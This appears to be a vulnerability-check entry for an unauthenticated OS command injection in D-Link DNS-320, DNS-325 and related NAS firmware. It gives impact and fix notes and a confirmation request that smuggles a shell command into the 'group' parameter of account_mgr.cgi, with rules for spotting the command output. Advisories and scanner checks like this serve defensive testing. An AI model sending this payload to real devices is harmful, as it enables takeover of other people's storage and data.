Readycheck to confirm it

A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been rated as critical. Affected by this issue is the function cgi_user_add of the file /cgi-bin/account_mgr.cgi?cmd=cgi_user_add. The manipulation of the argument group leads to os command injection.

Impact

Unauthenticated attackers can execute arbitrary OS commands via the group parameter, potentially compromising the entire D-Link NAS device.

Fix

Update D-Link DNS-320, DNS-320LW, DNS-325, and DNS-340L firmware to versions released after 20241028.

How to confirm it

Send: GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=%27;{{command}};%27
Positive when: regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body) or contains_all(body, 'inet addr:', 'Mask:') AND contains(body, "Content-type: text/html") and status_code == 200
